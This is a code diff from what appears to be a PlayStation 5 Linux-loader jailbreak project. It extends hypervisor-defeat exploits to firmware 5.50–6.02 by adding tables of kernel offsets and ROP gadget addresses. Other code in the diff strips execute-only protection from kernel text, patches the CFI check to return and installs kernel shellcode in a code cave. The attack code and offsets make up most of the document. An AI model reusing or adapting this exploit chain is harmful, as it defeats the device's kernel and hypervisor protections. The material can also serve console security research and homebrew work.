read_file(bzimage_path, bzimage, ALIGN_UP(bzimage_size, PAGE_SIZE));
if (bzimage_size < 0) {
notify("Something went wrong while reading bzImage - Aborting\n");
return -1;
@@ -147,14 +147,15 @@ int fetch_linux(struct linux_info *info) {
}
void *initrd =
mmap(NULL, ALIGN_UP(initrd_size, 0x1000), PROT_READ | PROT_WRITE,
mmap(NULL, ALIGN_UP(initrd_size, PAGE_SIZE), PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (initrd == MAP_FAILED) {
notify("[-] Error could not allocate initrd.\n");
return -1;
}
initrd_size = read_file(initrd_path, initrd, ALIGN_UP(initrd_size, 0x1000));
initrd_size =
read_file(initrd_path, initrd, ALIGN_UP(initrd_size, PAGE_SIZE));
if (initrd_size < 0) {
notify("Something went wrong while reading initrd - Aborting\n");
return -1;

View File

@@ -1,4 +1,5 @@
#include "hv_defeat_0304.h"
#include "hv_defeat_0506.h"
#include "loader.h"
#include "prepare_resume.h"
#include "utils.h"
@@ -10,22 +11,29 @@ int main(void) {
"is supported.");
return -1;
}
if (hv_defeat_0304()) {
notify("Something went wrong while defeating Hypervisor.\nPlease make sure "
"your fw is supported.");
return -1;
}
if (fetch_linux(&linux_i)) {
notify("Something went wrong while installing linux files.\n");
return -1;
}
if (prepare_resume()) {
void *shellcode_kernel;
size_t shellcode_kernel_len;
if (prepare_resume(&shellcode_kernel, &shellcode_kernel_len)) {
notify("Something went wrong while preparing resume.\n");
return -1;
}
if ((0x0300 <= fw) && (fw < 0x0500)) {
if (hv_defeat_0304(shellcode_kernel, shellcode_kernel_len))
goto err;
} else if ((0x0500 <= fw) && (fw < 0x0650)) {
if (hv_defeat_0506(shellcode_kernel, shellcode_kernel_len))
goto err;
} else {
goto err;
}
notify("Finished preparation. Going to rest mode in 5 seconds.\nPlease wait "
"for the orange light to stop "
"blinking and then wakeup to Linux :)\n");
@@ -38,4 +46,9 @@ int main(void) {
}
return 0;
err:
notify("Something went wrong while defeating Hypervisor.\nPlease make sure "
"your fw is supported.");
return -1;
}

View File

@@ -1,5 +1,7 @@
#include "offsets.h"
#define KERNEL_TEXT 0xFFFFFFFF80210000
offset_list off_0300 = {
.IOMMU_SOFTC = 0x33175E0,
.VMSPACE_VM_VMID = 0x1E4,
@@ -15,7 +17,6 @@ offset_list off_0300 = {
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_HANDLE_VMEXIT_PA = 0x6282CBCB,
.KERNEL_UART_OVERRIDE = 0x1EB0258,
.KERNEL_DEBUG_PATCH = 0x0752460,
.KERNEL_CFI_CHECK = 0x0441DD0,
.G_VBIOS = 0x0734B5D0,
.FUN_TRANSMITTER_CONTROL = 0x0B2A560,
@@ -40,7 +41,6 @@ offset_list off_0310 = {
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_HANDLE_VMEXIT_PA = 0x6282CBCB,
.KERNEL_UART_OVERRIDE = 0x1EB0258,
.KERNEL_DEBUG_PATCH = 0x07524A0,
.KERNEL_CFI_CHECK = 0x0441E10,
.G_VBIOS = 0x0734B5D0,
.FUN_TRANSMITTER_CONTROL = 0x0B2A5A0,
@@ -65,7 +65,6 @@ offset_list off_0320 = {
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_HANDLE_VMEXIT_PA = 0x6282CBCB,
.KERNEL_UART_OVERRIDE = 0x1EB0258,
.KERNEL_DEBUG_PATCH = 0x7527F0,
.KERNEL_CFI_CHECK = 0x442160,
.G_VBIOS = 0x734B5D0,
.FUN_TRANSMITTER_CONTROL = 0xB2AA60,
@@ -90,7 +89,6 @@ offset_list off_0321 = {
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_HANDLE_VMEXIT_PA = 0x6282CBCB,
.KERNEL_UART_OVERRIDE = 0x1EB0258,
.KERNEL_DEBUG_PATCH = 0x7527F0,
.KERNEL_CFI_CHECK = 0x442160,
.G_VBIOS = 0x734B5D0,
.FUN_TRANSMITTER_CONTROL = 0xB2AA60,
@@ -106,8 +104,8 @@ offset_list off_0400 = {
.VMSPACE_VM_PMAP = 0x1D0,
.DATA_BASE_GVMSPACE = 0x064C3F80,
.HOOK_ACPI_WAKEUP_MACHDEP = 0x3A7613,
.FUN_PRINTF = 0x4A3240,
.KERNEL_CODE_CAVE = 0x500,
.FUN_PRINTF = 0x4A3240,
.FUN_HV_IOMMU_SET_BUFFERS = 0xB638F0,
.FUN_HV_IOMM_WAIT_COMPLETION = 0xB63830,
.FUN_SMP_RENDEZVOUS = 0xA6C920,
@@ -115,7 +113,6 @@ offset_list off_0400 = {
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_HANDLE_VMEXIT_PA = 0x6282B45D,
.KERNEL_UART_OVERRIDE = 0x1F522A8,
.KERNEL_DEBUG_PATCH = 0x77DA70,
.KERNEL_CFI_CHECK = 0x45A170,
.G_VBIOS = 0x72B7630,
.FUN_TRANSMITTER_CONTROL = 0xB5AD50,
@@ -140,7 +137,6 @@ offset_list off_0402 = {
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_HANDLE_VMEXIT_PA = 0x6282B45D,
.KERNEL_UART_OVERRIDE = 0x1F522A8,
.KERNEL_DEBUG_PATCH = 0x77DAC0,
.KERNEL_CFI_CHECK = 0x45A170,
.G_VBIOS = 0x72B7630,
.FUN_TRANSMITTER_CONTROL = 0xB5ADA0,
@@ -165,7 +161,6 @@ offset_list off_0403 = {
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_HANDLE_VMEXIT_PA = 0x6282B45D,
.KERNEL_UART_OVERRIDE = 0x1F522A8,
.KERNEL_DEBUG_PATCH = 0x77DB50,
.KERNEL_CFI_CHECK = 0x45A170,
.G_VBIOS = 0x72B7630,
.FUN_TRANSMITTER_CONTROL = 0xB5AE30,
@@ -190,7 +185,6 @@ offset_list off_0450 = {
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_HANDLE_VMEXIT_PA = 0x6282B45D,
.KERNEL_UART_OVERRIDE = 0x1F522A8,
.KERNEL_DEBUG_PATCH = 0x77DC80,
.KERNEL_CFI_CHECK = 0x45A1A0,
.G_VBIOS = 0x72B7630,
.FUN_TRANSMITTER_CONTROL = 0xB5AFF0,
@@ -215,7 +209,6 @@ offset_list off_0451 = {
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_HANDLE_VMEXIT_PA = 0x6282B45D,
.KERNEL_UART_OVERRIDE = 0x1F522A8,
.KERNEL_DEBUG_PATCH = 0x77DC90,
.KERNEL_CFI_CHECK = 0x45A1A0,
.G_VBIOS = 0x72B7630,
.FUN_TRANSMITTER_CONTROL = 0xB5B420,
@@ -224,3 +217,119 @@ offset_list off_0451 = {
.PS5_WIFI_FW_OFFSET = 0x1393000,
.PS5_WIFI_FW_SIZE = 493000,
};
offset_list off_0550 = {
// .IOMMU_SOFTC not needed
// .VMSPACE_VM_VMID not needed
.VMSPACE_VM_PMAP = 0x1D0,
// .DATA_BASE_GVMSPACE not needed
.ACPIGBL_FACS = (0xFFFFFFFF83C942A0 - KERNEL_TEXT),
.IDT = (0xFFFFFFFF8745DCA0 - KERNEL_TEXT),
.COMMON_TSS = (0xFFFFFFFF87460850 - KERNEL_TEXT),
.STOPPED_CPUS = (0xFFFFFFFF87520DE0 - KERNEL_TEXT),
.FUN_STOP_CPUS = (0xFFFFFFFF80CAC250 - KERNEL_TEXT),
.FUN_AS_LAPIC_EOI = (0xFFFFFFFF804486A0 - KERNEL_TEXT),
.FUN_HV_UNMAP_PT_TMR = (0xFFFFFFFF80DAA180 - KERNEL_TEXT),
.FUN_MEMCPY = (0xFFFFFFFF80489DF0 - KERNEL_TEXT),
.GAD_ADD_RSP_28_POP_RBP_RET = (0xffffffff80b94dd4 - KERNEL_TEXT),
.GAD_IRETQ = (0xFFFFFFFF8044B02D - KERNEL_TEXT),
.GAD_POP_RDI_RET = (0xffffffff803e8738 - KERNEL_TEXT),
.GAD_POP_RSI_RET = (0xffffffff803a9270 - KERNEL_TEXT),
.GAD_POP_RDX_RET = (0xffffffff8054d4f2 - KERNEL_TEXT),
.GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET = (0xffffffff80603cba - KERNEL_TEXT),
// .HOOK_ACPI_WAKEUP_MACHDEP not needed
.KERNEL_CODE_CAVE = 0x500,
.FUN_PRINTF = (0xFFFFFFFF804A7BD8 - KERNEL_TEXT),
// .FUN_HV_IOMMU_SET_BUFFERS not needed
// .FUN_HV_IOMM_WAIT_COMPLETION not needed
.FUN_SMP_RENDEZVOUS = (0xFFFFFFFF80CAC830 - KERNEL_TEXT),
.FUN_SMP_NO_RENDEVOUS_BARRIER = (0xFFFFFFFF804B3408 - KERNEL_TEXT),
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_HANDLE_VMEXIT_PA = 0x6282DFEB,
.KERNEL_UART_OVERRIDE = (0xFFFFFFFF82291488 - KERNEL_TEXT),
.KERNEL_CFI_CHECK = (0xFFFFFFFF80678060 - KERNEL_TEXT),
.G_VBIOS = (0xFFFFFFFF87673A50 - KERNEL_TEXT),
.FUN_TRANSMITTER_CONTROL = (0xFFFFFFFF80DA1BD0 - KERNEL_TEXT),
.FUN_MP3_INITIALIZE = (0xFFFFFFFF80BC1480 - KERNEL_TEXT),
.FUN_MP3_INVOKE = (0xFFFFFFFF80BC01A0 - KERNEL_TEXT),
.PS5_WIFI_FW_OFFSET = (0xFFFFFFFF8163EB30 - KERNEL_TEXT),
.PS5_WIFI_FW_SIZE = 493532,
};
offset_list off_0600 = {
// .IOMMU_SOFTC not needed
// .VMSPACE_VM_VMID not needed
.VMSPACE_VM_PMAP = 0x1D8,
// .DATA_BASE_GVMSPACE not needed
.ACPIGBL_FACS = (0xFFFFFFFF83C04540 - KERNEL_TEXT),
.IDT = (0xFFFFFFFF873CDDE0 - KERNEL_TEXT),
.COMMON_TSS = (0xFFFFFFFF873D0A00 - KERNEL_TEXT),
.STOPPED_CPUS = (0xFFFFFFFF87520DE0 - KERNEL_TEXT),
.FUN_STOP_CPUS = (0xFFFFFFFF80CD13B0 - KERNEL_TEXT),
.FUN_AS_LAPIC_EOI = (0xFFFFFFFF80451E60 - KERNEL_TEXT),
.FUN_HV_UNMAP_PT_TMR = (0xFFFFFFFF80DD36B0 - KERNEL_TEXT),
.FUN_MEMCPY = (0xFFFFFFFF804935B0 - KERNEL_TEXT),
.GAD_ADD_RSP_28_POP_RBP_RET = (0xffffffff80bb6ad4 - KERNEL_TEXT),
.GAD_IRETQ = (0xFFFFFFFF804547ED - KERNEL_TEXT),
.GAD_POP_RDI_RET = (0xffffffff803f1ef8 - KERNEL_TEXT),
.GAD_POP_RSI_RET = (0xffffffff803b2a30 - KERNEL_TEXT),
.GAD_POP_RDX_RET = (0xffffffff803f321e - KERNEL_TEXT),
.GAD_POP_RSP_RET = (0xffffffff8045a830 - KERNEL_TEXT),
.GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET = (0xffffffff806141fa - KERNEL_TEXT),
// .HOOK_ACPI_WAKEUP_MACHDEP not needed
.KERNEL_CODE_CAVE = 0x500,
.FUN_PRINTF = (0xFFFFFFFF804B1460 - KERNEL_TEXT),
// .FUN_HV_IOMMU_SET_BUFFERS not needed
// .FUN_HV_IOMM_WAIT_COMPLETION not needed
.FUN_SMP_RENDEZVOUS = (0xFFFFFFFF80CD1990 - KERNEL_TEXT),
.FUN_SMP_NO_RENDEVOUS_BARRIER = (0xFFFFFFFF804BD118 - KERNEL_TEXT),
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_HANDLE_VMEXIT_PA = 0x62841CE0,
.KERNEL_UART_OVERRIDE = (0xFFFFFFFF822D25C8 - KERNEL_TEXT),
.KERNEL_CFI_CHECK = (0xFFFFFFFF806899B0 - KERNEL_TEXT),
.G_VBIOS = (0xFFFFFFFF875DFA50 - KERNEL_TEXT),
.FUN_TRANSMITTER_CONTROL = (0xFFFFFFFF80DCB210 - KERNEL_TEXT),
.FUN_MP3_INITIALIZE = (0xFFFFFFFF80BE3A40 - KERNEL_TEXT),
.FUN_MP3_INVOKE = (0xFFFFFFFF80BE27C0 - KERNEL_TEXT),
.PS5_WIFI_FW_OFFSET = (0xFFFFFFFF81665C00 - KERNEL_TEXT),
.PS5_WIFI_FW_SIZE = 494536,
};
offset_list off_0602 = {
// .IOMMU_SOFTC not needed
// .VMSPACE_VM_VMID not needed
.VMSPACE_VM_PMAP = 0x1D8,
// .DATA_BASE_GVMSPACE not needed
.ACPIGBL_FACS = (0xFFFFFFFF83C04540 - KERNEL_TEXT),
.IDT = (0xFFFFFFFF873CDDE0 - KERNEL_TEXT),
.COMMON_TSS = (0xFFFFFFFF873D0A00 - KERNEL_TEXT),
.STOPPED_CPUS = (0xFFFFFFFF87520DE0 - KERNEL_TEXT),
.FUN_STOP_CPUS = (0xFFFFFFFF80CD1390 - KERNEL_TEXT),
.FUN_AS_LAPIC_EOI = (0xFFFFFFFF80451E60 - KERNEL_TEXT),
.FUN_HV_UNMAP_PT_TMR = (0xFFFFFFFF80DD3690 - KERNEL_TEXT),
.FUN_MEMCPY = (0xFFFFFFFF804935B0 - KERNEL_TEXT),
.GAD_ADD_RSP_28_POP_RBP_RET = (0xffffffff80bb6ab4 - KERNEL_TEXT),
.GAD_IRETQ = (0xFFFFFFFF804547ED - KERNEL_TEXT),
.GAD_POP_RDI_RET = (0xffffffff803f1ef8 - KERNEL_TEXT),
.GAD_POP_RSI_RET = (0xffffffff803b2a30 - KERNEL_TEXT),
.GAD_POP_RDX_RET = (0xffffffff804c48da - KERNEL_TEXT),
.GAD_POP_RSP_RET = (0xffffffff8045a830 - KERNEL_TEXT),
.GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET = (0xffffffff806141fa - KERNEL_TEXT),
// .HOOK_ACPI_WAKEUP_MACHDEP not needed
.KERNEL_CODE_CAVE = 0x500,
.FUN_PRINTF = (0xFFFFFFFF804B0C38 - KERNEL_TEXT),
// .FUN_HV_IOMMU_SET_BUFFERS not needed
// .FUN_HV_IOMM_WAIT_COMPLETION not needed
.FUN_SMP_RENDEZVOUS = (0xFFFFFFFF80CD1970 - KERNEL_TEXT),
.FUN_SMP_NO_RENDEVOUS_BARRIER = (0xFFFFFFFF804C05A8 - KERNEL_TEXT),
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_HANDLE_VMEXIT_PA = 0x62841CE0,
.KERNEL_UART_OVERRIDE = (0xFFFFFFFF822D25C8 - KERNEL_TEXT),
.KERNEL_CFI_CHECK = (0xFFFFFFFF806899B0 - KERNEL_TEXT),
.G_VBIOS = (0xFFFFFFFF875DFA50 - KERNEL_TEXT),
.FUN_TRANSMITTER_CONTROL = (0xFFFFFFFF80DCB1F0 - KERNEL_TEXT),
.FUN_MP3_INITIALIZE = (0xFFFFFFFF80BE3A20 - KERNEL_TEXT),
.FUN_MP3_INVOKE = (0xFFFFFFFF80BE27A0 - KERNEL_TEXT),
.PS5_WIFI_FW_OFFSET = (0xFFFFFFFF81665CC0 - KERNEL_TEXT),
.PS5_WIFI_FW_SIZE = 494536,
};

View File

@@ -5,28 +5,96 @@
#include "iommu.h"
#include "offsets.h"
#include "utils.h"
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
int prepare_resume(void) {
int remove_xotext(void) {
uint64_t start = ktext;
uint64_t end = kdata;
int n __attribute__((unused)) = 0;
for (uint64_t a = start; a < end; a += 0x1000) {
page_chain_set_rw(a);
n++;
}
return 0;
}
int kernel_pmap_invalidate_all(void) {
static uint64_t two_zero_pages[PAGE_SIZE * 2] = {0};
int pipe_fds[2];
if (pipe2(pipe_fds, O_NONBLOCK)) {
return -1;
}
if (write(pipe_fds[1], two_zero_pages, PAGE_SIZE * 2) < 0) {
close(pipe_fds[0]);
close(pipe_fds[1]);
return -1;
}
close(pipe_fds[1]);
uint64_t read_fd_file_data = kernel_get_proc_file(-1, pipe_fds[0]);
if (!INKERNEL(read_fd_file_data)) {
close(pipe_fds[0]);
return -1;
}
uint64_t read_fd_buffer;
kernel_copyout(read_fd_file_data + 0x10, &read_fd_buffer,
sizeof(read_fd_buffer));
if (!INKERNEL(read_fd_buffer)) {
close(pipe_fds[0]);
return -1;
}
if (!page_remove_global(read_fd_buffer)) {
close(pipe_fds[0]);
return -1;
}
close(pipe_fds[0]);
return 0;
}
int prepare_resume(void **shellcode_kernel, size_t *shellcode_kernel_len) {
if (env_offset.KERNEL_CODE_CAVE == 0) {
printf("Error: missing code cave offset\n");
return -1;
}
// Copy shellcode_kernel.
*shellcode_kernel =
mmap(NULL, ALIGN_UP(shellcode_kernel_bin_len, PAGE_SIZE),
PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
*shellcode_kernel_len = shellcode_kernel_bin_len;
memcpy(*shellcode_kernel, shellcode_kernel_bin, shellcode_kernel_bin_len);
uint64_t args_va = prepare_sck_args();
if (update_sck_args_ptr((uint64_t)shellcode_kernel_bin, args_va))
if (update_sck_args_ptr((uint64_t)*shellcode_kernel, args_va))
return -1;
uint64_t sck_va = ktext + env_offset.KERNEL_CODE_CAVE;
kwrite_large(sck_va, shellcode_kernel_bin, shellcode_kernel_bin_len);
// Install shellcode_kernel in kernel space.
for (int i = 0; i < shellcode_kernel_bin_len; i += PAGE_SIZE) {
install_page_syscore(kernel_cave_shellcode + i,
vtophys_user((uintptr_t)*shellcode_kernel + i), 0);
}
hook_call_near(ktext + env_offset.HOOK_ACPI_WAKEUP_MACHDEP, sck_va);
if (remove_xotext()) {
printf("Error: could not remove xo from text\n");
return -1;
}
kwrite8(ktext + env_offset.KERNEL_DEBUG_PATCH, 0xC3);
kwrite8(ktext + env_offset.KERNEL_CFI_CHECK, 0xC3);
// Unmute uart.
kwrite32(pa_to_dmap(0xC0115110), 0);
if (kernel_pmap_invalidate_all()) {
printf("Error: could not invalidate pmap\n");
return -1;
}
return 0;
}
@@ -48,15 +116,6 @@ int update_sck_args_ptr(uint64_t shellcode, uint64_t args) {
return 0;
}
void hook_call_near(uint64_t hook, uint64_t dst) {
int64_t diff_call = dst - hook;
uint8_t new_instr[5];
new_instr[0] = 0xE8;
*((uint32_t *)&new_instr[1]) = (int32_t)(diff_call - 5);
kernel_copyin(new_instr, hook, 5);
DEBUG_PRINT("Instruction patched\n");
}
uint64_t prepare_sck_args(void) {
shellcode_kernel_args args;
args.fw_version = fw;
@@ -77,13 +136,10 @@ uint64_t prepare_sck_args(void) {
args.fun_mp3_initialize = ktext + env_offset.FUN_MP3_INITIALIZE;
args.fun_mp3_invoke = ktext + env_offset.FUN_MP3_INVOKE;
args.iommu_mmio_va = iommu->mmio_va;
args.iommu_cb2_va = iommu->cb2_base;
args.iommu_cb3_va = iommu->cb3_base;
args.iommu_eb_va = iommu->eb_base;
memcpy(&args.vmcb[0], &vmcb_pa[0], sizeof(args.vmcb[0]) * 16);
args.iommu_softc = ktext + env_offset.IOMMU_SOFTC;
args.kernel_uart_override = ktext + env_offset.KERNEL_UART_OVERRIDE;
args.kernel_cfi_check = ktext + env_offset.KERNEL_CFI_CHECK;
args.hv_handle_vmexit_pa = env_offset.HV_HANDLE_VMEXIT_PA;
args.hv_code_cave_pa = env_offset.HV_CODE_CAVE_PA;

View File

@@ -58,6 +58,15 @@ int set_offsets(void) {
case 0x0451:
env_offset = off_0451;
break;
case 0x0550:
env_offset = off_0550;
break;
case 0x0600:
env_offset = off_0600;
break;
case 0x0602:
env_offset = off_0602;
break;
default:
return -1;
}